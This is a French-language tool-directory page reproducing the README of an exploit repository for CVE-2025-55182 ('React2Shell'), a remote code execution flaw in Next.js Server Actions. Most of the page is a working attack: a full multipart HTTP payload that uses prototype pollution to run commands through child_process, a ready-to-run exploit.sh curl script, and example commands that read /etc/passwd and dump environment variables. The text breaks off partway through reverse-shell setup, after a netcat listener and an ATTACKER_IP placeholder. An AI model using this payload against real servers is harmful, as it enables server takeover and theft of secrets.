Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
react2shell-exploit — CVE-2025-55182, également connue sous le nom de React2Shell, est une vulnérabilité critique affectant les applications Next.js utilisant React Server Components (RSC) et Server Actions. | Kitploit
Outils/GitHubGitHub/yannisduvignau/react2shell-exploit
ExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, également connue sous le nom de React2Shell, est une vulnérabilité critique affectant les applications Next.js utilisant React Server Components (RSC) et Server Actions.

Voir le dépôt
11il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182 – React2Shell

Exécution de code à distance dans Next.js

⚠️ Avertissement : Cette documentation est fournie uniquement à des fins éducatives et de recherche en sécurité. Toute utilisation non autorisée de ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale.


📋 Table des matières

  1. Aperçu
  2. Comment ça fonctionne
  3. Installation et configuration
  4. Exploitation étape par étape
  5. Résultats et impact
  6. Stratégies d'atténuation

Aperçu

CVE-2025-55182, également connue sous le nom de React2Shell, est une vulnérabilité critique affectant les applications Next.js qui utilisent :

  • React Server Components (RSC)
  • Server Actions

Pourquoi est-ce dangereux ?

Un attaquant peut obtenir une exécution de code à distance (RCE) sur le serveur en exploitant :

  1. Une désérialisation non sécurisée des charges utiles RSC
  2. Une pollution de prototype via __proto__ et constructor
  3. Des chemins d'exécution dynamiques dans le runtime serveur Next.js

Conséquence : Des commandes système arbitraires peuvent être exécutées avec les privilèges du processus Node.js.


Comment ça fonctionne

Étape 1 : Protocole RSC de Next.js

Next.js utilise un protocole propriétaire multipart/form-data pour communiquer entre le client et le serveur :

  • Le client envoie des React Server Components au serveur
  • Le serveur les désérialise et les traite
  • Le résultat est renvoyé au client
Client (Browser)
    ↓
[multipart/form-data RSC payload]
    ↓
Next.js Server
    ↓
Deserialization + Execution
    ↓
Response

Étape 2 : La faille - Désérialisation non sécurisée

La vulnérabilité existe parce que :

  1. Les données contrôlées par l'utilisateur ne sont pas validées avant la désérialisation
  2. L'accès à la chaîne de prototypes est autorisé (__proto__, constructor)
  3. Certains champs sont évalués dynamiquement pendant le traitement des requêtes

Étape 3 : Attaque par pollution de prototype

Un attaquant peut créer une charge utile qui modifie les propriétés internes des objets :

{
  "then": "$1:__proto__:then",  // Targets the prototype chain
  "_response": {
    "_prefix": "malicious code here"  // Code injection
  }
}

En exploitant __proto__, l'attaquant pollue le prototype des objets JavaScript, affectant tous les objets qui en héritent.

Étape 4 : Injection de code

Dans le champ _prefix, l'attaquant injecte du code JavaScript qui :

  1. Accède au module Node.js via process.mainModule.require()
  2. Charge le module child_process
  3. Exécute des commandes système à l'aide de execSync()
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

Étape 5 : Extraction du résultat

Le résultat de la commande est caché dans la réponse d'erreur :

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js renvoie cette erreur au client, et la sortie de la commande est visible dans le champ digest.


Installation et configuration

Prérequis

  • Node.js 20
  • Burp Suite (ou un outil similaire pour l'interception de requêtes)
  • curl ou Postman (pour envoyer des charges utiles)

Étape 1 : Cloner et installer le serveur vulnérable

# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Install Node.js 20
nvm install 20
nvm use 20

# Install dependencies
cd test-server
npm install

Étape 2 : Démarrer le serveur

npm run dev

Le serveur est maintenant accessible à l'adresse :

http://localhost:3000

Étape 3 : Vérifier que le serveur fonctionne

curl http://localhost:3000/

À ce stade, le serveur se comporte normalement.


Exploitation étape par étape

Approche 1 : Utilisation de Burp Suite (interception manuelle)

Étape 1 : Activer l'interception

  1. Ouvrez Burp Suite
  2. Allez dans l'onglet Proxy → Intercept
  3. Activez Intercept is on
  4. Accédez à http://localhost:3000/ dans votre navigateur

Étape 2 : Intercepter la requête

Une requête GET sera interceptée. Envoyez-la dans l'onglet Repeater :

  1. Clic droit → Send to Repeater
  2. Allez dans l'onglet Repeater

Étape 3 : Remplacer par la charge utile malveillante

Remplacez toute la requête par la charge utile suivante :

POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Étape 4 : Envoyer la requête

Cliquez sur Send.


Approche 2 : Script d'exploitation automatisé

Créez un fichier exploit.sh :

#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

Rendez-le exécutable :

chmod +x exploit.sh
./exploit.sh

Exemples de commandes

Lister les fichiers et répertoires

COMMAND="ls -la /"

Obtenir l'utilisateur actuel

COMMAND="whoami"

Lire un fichier

COMMAND="cat /etc/passwd"

Vérifier les connexions réseau

COMMAND="netstat -tuln"

Obtenir les variables d'environnement

COMMAND="env"

Reverse Shell (accès complet au serveur)

Pour obtenir un accès shell interactif complet, utilisez un reverse shell.

Sur la machine de l'attaquant : écouter les connexions

ncat -lvnp 9009

Ou avec netcat :

nc -lvnp 9009

Sur la cible : envoyer la charge utile du reverse shell

Modifiez la charge utile avec la commande suivante (remplacez <ATTACKER_IP> par votre adresse IP) :

Télécharger l’outil